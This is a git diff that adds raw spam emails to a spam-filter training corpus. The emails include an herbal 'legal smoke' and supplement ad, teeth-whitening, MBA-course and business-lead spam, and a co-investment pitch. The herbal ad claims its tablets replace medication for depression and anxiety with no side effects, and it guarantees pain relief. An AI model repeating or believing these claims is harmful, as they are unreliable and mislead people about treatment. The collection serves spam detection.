(TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time…. As well, Temple “3” Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician’s care in any regard. + +======================================================== +Here is what our customers are saying about the Temple “3” Ragga Dagga (TM) phenomenon: + +“To whom it may concern, + +I was skeptical when I first read your ad. I grew up in the 70’s & 80’s. I was a hard core (alternative smoker) then. So I knew my stuff. But drug tests stopped that! Now I am disabled from a degenerative muscle, ligament, and tendon disease. I was smoking (an illegal product) for the pain and nausea. Now I have something just as good; Temple 3, but cheaper, and it is legal! I also have a lot of trouble sleeping, but the Capillaris Herba made into tea works and smells great! Your products that I tried so far, are as good or better than your ads say! That is hard to find nowadays in a company. Who ever put this stuff together is a botanical genius. I will be a customer for life! Also, I talked with a lady on the phone when I was ordering, and asked her to find out if I could get my products and samples to hand out for free. And just send the customers to you. Or get a discount on products that I could sell retail to people. I would prefer the earlier one becau! +se! +, I can just talk about your products, I am a great salesman (about 10 years experience), I could hand out flyers, give out little 1 gram pieces as samplers with your business card enclosed, etc.. I am going to be unable to work a regular job for a while, maybe indefinitely? This deal would give me my own products and samples for free? You would get free advertising, word of mouth, samples into peoples hands to try, someone that is very good with computers, someone who studied about mail order, Internet, cold calling, small business, good with people, etc.. I would like to be doing something, even if I would get on Social Security Disability. It is very disheartening not being able to work to support my 2 teenage boys, or do a lot of the things I used to do! At least I would be able to do something worthwhile. And great products makes it real easy to sell. Let me know what you think? + +Sincerely, + +RJ” + +Location: Midwest, U.S.A. + +“Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you.” + +-- Frankie R. + +Location: West Coast, USA + +“I’m a man of my 40’s and I really know my stuff. I don’t drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple “3”. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70’s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?!” + +-- A.J. + +Location: United Kingdom +======================================================== +Finally, we realize of course that this Temple “3” Ragga Dagga (TM) is not inexpensive…. (Temple “3” Ragga Dagga (TM) is a very, very Sweet Smoke and “sweetness” is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft…. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple “3” Ragga Dagga (TM)…. Four or five draws of your pipe….as is the magical way….lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple “3” Ragga Dagga (TM) Package.) + +“Seventh Heaven” Temple “3” Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. + +************************************************************ +Our other fine herbal, botanical products include the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... +********************************************* + +Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: + +* Extreme body sensitivity +* Sensitivity to touch +* Desire to touch and be touched +* Fantasy, lust, rapture, erogenous sensitivity ... +* Prolongs and intensifies foreplay, orgasm & climax +********************************************* + +"Seventh Heaven" Prosaka Tablets ... + +Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! +********************************************** + +"Seventh Heaven" Gentle Ferocity Tablets (tm) ... + +a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! +*********************************************** + +Extreme Martial Arts Botanical Remedies + +Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer + + Equivalence Tablets & Dragon Wing Remedy Spray + (Hei Ping Shun) (Hei Long Chibang) + +PLEASE NOTE: + +While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: + +1. Significantly reduce discomfort and pain! +(In many instances most, if not all, traumas and distress can be eliminated!) + +2. Significantly increase mobility and strength ratio. +(Please remember also the significance of proper diet, excercise, rest and prayer.) + +Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. + +While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. + +======================================================== +!!!!Please refer to Introductory Offers further on in this text featuring Temple “3” Ragga Dagga (TM) along with our other “very fine” “Sensitive/Responsive” cordial botanical products…. Please enjoy!!! Many Blessings to you all…. +======================================================== + +PRICING INFORMATION: + +1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +7. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +8. SWEET APHRODISIA INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +9. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +10. "PURE ENERGY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +11. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER +Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + + +************************************************** + +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + +Call 1-623-974-2295 +Monday - Friday -- 10:30 AM to 7:00 PM (Mountain Time) +Saturday -- 11:00 AM to 3:00 PM (Mountain Time) + +For all domestic orders, add $5.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +************************************************** + +SPECIAL DISCOUNT & GIFT + +Call now and receive a FREE botanical gift! With every order for a 2.0 oz. jigget / bar of Seventh Heaven Temple 3 or one of our four (4) Intro Combination Offers, we will include as our free gift to you ... a 2.0 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for "happy" smoking or brewing ... (a $65.00 retail value). + +==================================================== + + +To remove your address from our list, click "Reply" in your email software and type "Remove" in the subject field, then send. + + + + + + diff --git a/bayes/spamham/spam_2/00253.bd8e0dd85f0f848be89aadbf6d6364dc b/bayes/spamham/spam_2/00253.bd8e0dd85f0f848be89aadbf6d6364dc new file mode 100644 index 0000000..a96eddb --- /dev/null +++ b/bayes/spamham/spam_2/00253.bd8e0dd85f0f848be89aadbf6d6364dc @@ -0,0 +1,291 @@ +From jgetty@talk21.com Mon Jun 24 17:03:04 2002 +Return-Path: jgetty@talk21.com +Delivery-Date: Sat May 11 13:41:11 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4BCf9e22368 for + ; Sat, 11 May 2002 13:41:09 +0100 +Received: from mail.cbipc.com ([63.222.143.139]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4BCf2D03039 for + ; Sat, 11 May 2002 13:41:03 +0100 +Received: from cbhnv.netscape.net (HOME.cbipc.com [65.162.144.3]) by + mail.cbipc.com (Netscape Messaging Server 3.62) with SMTP id 393; + Thu, 9 May 2002 22:39:14 -0500 +From: jgetty@talk21.com +To: kb97@hotmail.com, hughjass@pacbell.net, lilblow@hotmail.com, + beat-about3032@yahoo.com, jm@netnoteinc.com +Reply-To: virgilioradilla4484@excite.com +Subject: Re: We Pay your bills :o) [w1ypq] +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Date: Thu, 9 May 2002 22:39:14 -0500 +Message-Id: <20020510033548202.AAK255.393@cbhnv.netscape.net> +X-Keywords: +Content-Type: text/html; charset=ISO-8859-1 + +
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    + + + + +------=_NextPart_000_346C22_01C1F83E.20E71340-- diff --git a/bayes/spamham/spam_2/00257.96e9617c812f9d9a8ec77c9008e1e960 b/bayes/spamham/spam_2/00257.96e9617c812f9d9a8ec77c9008e1e960 new file mode 100644 index 0000000..21b3b48 --- /dev/null +++ b/bayes/spamham/spam_2/00257.96e9617c812f9d9a8ec77c9008e1e960 @@ -0,0 +1,99 @@ +From hudson@netcnct.net Mon Jun 24 17:02:57 2002 +Return-Path: vindc@folkekirken.dk +Delivery-Date: Sat May 11 01:48:46 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4B0mee30137 for + ; Sat, 11 May 2002 01:48:45 +0100 +Received: from qta.infolink.net.pk ([202.176.225.195]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4B0mUD01112 for + ; Sat, 11 May 2002 01:48:32 +0100 +Received: by qta.infolink.net.pk from localhost (router,SLMail V3.0); + Sat, 11 May 2002 05:18:05 +0500 +Received: by qta.infolink.net.pk from vmomo9753.com (202.41.87.46::mail + daemon; unverified,SLMail V3.0); Sat, 11 May 2002 05:18:02 +0500 +From: "hudson" +Date: Fri, 10 May 2002 16:18:39 -0700 +Subject: Reach Prospects Competitors Miss +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +MIME-Version: 1.0 +X-Precedence-Ref: l234056789zxc +Content-Type: text/plain; charset=us-ascii +To: nobody@qta.infolink.net.pk +Message-Id: <20020511051805.01e64ac4.in@qta.infolink.net.pk> +X-Keywords: +Content-Transfer-Encoding: 7bit + +_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ + + S P E C I A L R E P O R T + +How To Reliably Generate Hundreds Of Leads And Prospects +Every Week! + +_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ + +Our research has found that many online entrepreneurs have +tried one or more of the following... + + Free Classifieds? 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b/bayes/spamham/spam_2/00258.eb914ca569df16b9e969cc1ff646033f new file mode 100644 index 0000000..380c53a --- /dev/null +++ b/bayes/spamham/spam_2/00258.eb914ca569df16b9e969cc1ff646033f @@ -0,0 +1,173 @@ +From bearike@sohu.com Mon Jun 24 17:02:57 2002 +Return-Path: bearike@sohu.com +Delivery-Date: Sat May 11 02:09:28 2002 +Received: from ike2 ([211.162.252.54]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4B19Le30992 for ; + Sat, 11 May 2002 02:09:26 +0100 +Message-Id: <200205110109.g4B19Le30992@dogma.slashnull.org> +From: ike +Reply-To: bearike@sohu.com +Subject: =?gb2312?q?=C6=FB=B3=B5=A1=A2=BD=BB=CD=A8=D0=D0=D2=B5MBA_?= +Date: Sat, 11 May 2002 09:02:48 +0800 +MIME-Version: 1.0 +X-Keywords: +Content-Type: multipart/mixed; boundary="3daab575-64bd-11d6-b6fa-0050ba415022" + + +This is a multi-part message in MIME format +--3daab575-64bd-11d6-b6fa-0050ba415022 +Content-Type: text/plain; charset=gb2312 +Content-Transfer-Encoding: quoted-printable + + WUT =C6=FB=B3=B5=A1=A2=BD=BB=CD=A8=D0=D0=D2=B5 MBA + =B9=A4=C9=CC=B9=DC=C0=ED=CB=B6=CA=BF=D1=D0=BE=BF=C9=FA=BF= +=CE=B3=CC=D1=D0=D0=DE=B0=E0 + =D5=D0 =C9=FA =BC=F2 =D5=C2 + =D0=D0=D2=B5=C8=A8=CD=FE=B4=F3=D1=A7=D6=F7=B0=EC =C5=E0=D1=F8=D0=D0= +=D2=B5=B8=DF=BC=B6=B9=DC=C0=ED=C8=CB=B2=C5 =D6=FD=BE=CD=CD=C5=CC=E5=BA=CF=D7= +=F7=BE=AB=C9=F1 + =B2=A9=B5=BC=B9=E3=D6=DD=C1=EC=CF=CE=CA=DA=BF=CE =CC=E1=B9= +=A9=C6=F3=D2=B5=B9=CB=CE=CA=B7=FE=CE=F1 + =B9=FA=C4=DA=CD=E2MBA=C8=C8=C3=C5=BF=CE=B3=CC =B9=FA=BC=CA= +=C1=F7=D0=D0=BD=CC=D1=A7=C4=A3=CA=BD + =B6=E0=C3=BD=CC=E5=BD=CC=D1=A7 =CB=AB=D3=EF=BD=CC=D1=A7 =B0=B8=C0= +=FD=B7=D6=CE=F6 =B1=E7=C2=DB=C8=FC =C3=FB=BC=D2=BD=B2=D7=F9 + + =CE=AA=CC=E1=B8=DF=C6=FB=B3=B5=A1=A2=BD=BB=CD=A8=D0=D0=D2=B5=B8=F7=B2=E3=B4= +=CE=A1=A2=B8=F7=B8=DA=CE=BB=C6=F3=D2=B5=D6=F7=B9=DC=B5=C4=B9=DC=C0=ED=CB=AE=C6= +=BD=A3=AC=B4=AB=B2=A5=B9=FA=BC=CA=D7=EE=CF=C8=BD=F8=B5=C4=BE=AD=D3=AA=B9=DC=C0= +=ED=C4=A3=CA=BD=A3=AC=C5=E0=D1=F8=CA=EC=C1=B7=D5=C6=CE=D5=CA=D0=B3=A1=BE=AD=BC= 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=A3=A86=A3=A9=B1=A8=C3=FB=BD=D8=D6=B9=CA=B1=BC=E4=A3=BA2002=C4=EA5=D4=C2 + =A3=A87=A3=A9=BF=AA=BF=CE=CA=B1=BC=E4=A3=BA=B5=DA=D2=BB=B4=CE=C3=E6=CA=DA= +=CA=B1=BC=E4=CE=AA2002=C4=EA6=D4=C2=A1=A3 + +--d51589f6-64c8-11d6-b6fa-0050ba415022-- + diff --git a/bayes/spamham/spam_2/00260.49cb520f5d726da6f1ec32d0e4d2e38f b/bayes/spamham/spam_2/00260.49cb520f5d726da6f1ec32d0e4d2e38f new file mode 100644 index 0000000..66ee208 --- /dev/null +++ b/bayes/spamham/spam_2/00260.49cb520f5d726da6f1ec32d0e4d2e38f @@ -0,0 +1,99 @@ +From fddgl@data.net.mx Mon Jun 24 17:09:22 2002 +Return-Path: fddgl@data.net.mx +Delivery-Date: Fri May 10 16:34:34 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4AFYWe03024 for + ; Fri, 10 May 2002 16:34:33 +0100 +Received: from mailsrv.mail.hljdaily.com.cn ([61.167.35.1]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4AFYLD31566 for + ; Fri, 10 May 2002 16:34:23 +0100 +Message-Id: <200205101534.g4AFYLD31566@mandark.labs.netnoteinc.com> +Received: from fac.fbk.eur.nl (194.79.97.69 [194.79.97.69]) by + mailsrv.mail.hljdaily.com.cn with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2655.55) id JHFSF78G; Fri, 10 May 2002 23:19:07 +0800 +To: +From: "Smile Magic" +Subject: Brighten Those Teeth +Date: Fri, 10 May 2002 08:28:49 -1900 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + +Bright Teeth now! + + + + + + + +

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    + + + + diff --git a/bayes/spamham/spam_2/00261.e679a9947bd481d47fb1a3d83b482fd5 b/bayes/spamham/spam_2/00261.e679a9947bd481d47fb1a3d83b482fd5 new file mode 100644 index 0000000..6729584 --- /dev/null +++ b/bayes/spamham/spam_2/00261.e679a9947bd481d47fb1a3d83b482fd5 @@ -0,0 +1,267 @@ +From Emailcenter@cmmail.com Mon Jun 24 17:03:03 2002 +Return-Path: Emailcenter@cmmail.com +Delivery-Date: Sat May 11 13:33:43 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4BCXhe22263 for + ; Sat, 11 May 2002 13:33:43 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id GAA00602 for ; + Sat, 11 May 2002 06:40:39 +0100 +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4B5dwD02070 for + ; Sat, 11 May 2002 06:39:59 +0100 +Received: from cmmail.com (unknown [218.6.2.152]) by smtp.easydns.com + (Postfix) with SMTP id 9A6572BFD4 for ; Sat, + 11 May 2002 01:39:49 -0400 (EDT) +From: "Marketing Manager" +To: +Subject: Grow Your Business +Sender: "Marketing Manager" +MIME-Version: 1.0 +Date: Sat, 11 May 2002 13:20:50 +0800 +Reply-To: "Marketing Manager" +Message-Id: <20020511053949.9A6572BFD4@smtp.easydns.com> +X-Keywords: +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit + + + + + + + + + +Dear friend + + + + + +


    +    You are receiving this email because +you +registered to receive special offers from one of our marketing +partners. 
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    We ac= +cept all +major credit +cards.
    + + + + + diff --git a/bayes/spamham/spam_2/00276.a8792b1d4591c269b9234f3a39f846d8 b/bayes/spamham/spam_2/00276.a8792b1d4591c269b9234f3a39f846d8 new file mode 100644 index 0000000..30d1ac4 --- /dev/null +++ b/bayes/spamham/spam_2/00276.a8792b1d4591c269b9234f3a39f846d8 @@ -0,0 +1,364 @@ +From bearike@sohu.com Mon Jun 24 17:03:14 2002 +Return-Path: bearike@sohu.com +Delivery-Date: Sun May 12 09:33:36 2002 +Received: from ike2 ([211.162.252.54]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4C8XSe05296 for ; + Sun, 12 May 2002 09:33:29 +0100 +Message-Id: <200205120833.g4C8XSe05296@dogma.slashnull.org> +From: ike +Reply-To: bearike@sohu.com +Subject: =?gb2312?q?_=B4=F2=D4=ECMBA?= +Date: Sun, 12 May 2002 16:26:53 +0800 +MIME-Version: 1.0 +X-Keywords: +Content-Type: multipart/mixed; boundary="de3568c4-65bc-11d6-b6fa-0050ba415022" + + +This is a multi-part message in MIME format +--de3568c4-65bc-11d6-b6fa-0050ba415022 +Content-Type: text/plain; charset=gb2312 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file mode 100644 index 0000000..8a44137 --- /dev/null +++ b/bayes/spamham/spam_2/00277.feeedd0a9e052b05e350e93ff7889f0a @@ -0,0 +1,113 @@ +From newsletters@the-financial-news.com Mon Jun 24 17:03:15 2002 +Return-Path: newsletters@the-financial-news.com +Delivery-Date: Sun May 12 09:55:43 2002 +Received: from wtnserver (80-25-218-178.uc.nombres.ttd.es [80.25.218.178]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4C8tfe05976 for + ; Sun, 12 May 2002 09:55:41 +0100 +Received: from EI2 by wtnserver with SMTP (MDaemon.v3.1.2.R) for + ; Sun, 12 May 2002 10:55:04 +0200 +From: "The Financial News" +Subject: Production Mini-plants in mobile containers. Co-investment Program +To: aban@taint.org +MIME-Version: 1.0 +Date: Sun, 12 May 2002 10:52:47 +0200 +X-Priority: 3 +X-Library: Indy 8.0.22 +X-MDRCPT-To: aban@taint.org +X-Return-Path: newsletters@the-financial-news.com +X-Mdaemon-Deliver-To: aban@taint.org +Reply-To: newsletters@the-financial-news.com +Message-Id: +X-Keywords: +Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; + +This is a multi-part message in MIME format + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +The Financial News, May 2002 + +Production Mini-plants in mobile containers. Co-investment Program + +=22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile=20containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring,=20piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 + +More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework,=20Sheeting for Roofing, Ceilings and Fa=E7ades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups,=20Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material,=20Hypodermic Syringes, Hemostatic Clamps, etc.=20 +Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable=20production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World=20Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. + +Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local=20resources (labor, some equipment, etc.) + +For more information: Mini-plants in mobile containers + +By Steven P. Leibacher, The Financial News, Editor + + +Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion + +=22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de=20produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta dise=F1ado de forma que todas las maquinas de produccion van instaladas fijas=20sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento est=E1n listas=20para producir.=22=20 +Mas de 700 sistemas de produccion portatil: Panaderias, Producci=F3n de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de=20hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de=20polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la=20construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) + +Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de peque=F1as Plantas ensambladoras para fabricar en serie las Mini-plantas=20de produccion portatil, en el lugar, region o pais que lo necesite. Una de las caracter=EDsticas relevantes es el hecho de que dichas plantas quedaran conectadas al=20Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de=20comercio internacional.=20 +Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi=20como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) + +Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles + +Steven P. Leibacher, The Financial News, Editor + +------------------------------------------------------------------------- +If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor +=A9 2002 The Financial News. All rights reserved. + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + +
    +The Financial News, May 2002
    +
    +Production Mini-plants in mobile containers. Co-investment Program
    +
    +=22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring, piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22
    +
    +More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework, Sheeting for Roofing, Ceilings and Façades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups, Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material, Hypodermic Syringes, Hemostatic Clamps, etc.
    +
    +Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade.
    +
    +Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local resources (labor, some equipment, etc.)
    +
    +For more information: Mini-plants in mobile containers
    +
    +By Steven P. Leibacher, The Financial News, Editor
    +
    +
    +Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion
    +
    +    =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta diseñado de forma que todas las maquinas de produccion van instaladas fijas sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento están listas para producir.=22
    +
    +Mas de 700 sistemas de produccion portatil: Panaderias, Producción de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.)
    +
    +Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de pequeñas Plantas ensambladoras para fabricar en serie las Mini-plantas de produccion portatil, en el lugar, region o pais que lo necesite. Una de las características relevantes es el hecho de que dichas plantas quedaran conectadas al Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de comercio internacional.
    +
    +Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.)
    +
    +Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles
    +
    +Steven P. Leibacher, The Financial News, Editor
    +
    +-------------------------------------------------------------------------
